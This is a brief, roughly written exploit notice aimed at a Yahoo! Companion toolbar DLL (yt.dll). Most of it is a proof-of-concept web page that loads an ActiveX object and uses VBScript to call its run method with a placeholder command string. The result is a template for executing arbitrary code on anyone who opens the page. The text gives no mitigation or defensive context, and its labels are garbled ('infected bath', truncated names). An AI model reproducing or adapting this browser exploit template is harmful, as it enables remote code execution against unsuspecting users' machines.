infected bath : Program Files\Yahoo!\Companion\Installs\cpn0\yt.dll
reason of infected :
Function c (
ByVal bstr As String
) As String
in (C) in IYTHelpe
EXPLO!T:
<html>
</font></b></p>
<p>
<object classid='clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8' id='target'
></object>
<script language='vbscript'>
arg1="TYPE YOUR EXEcUT!ON CODE"
target.run arg1
</script></p>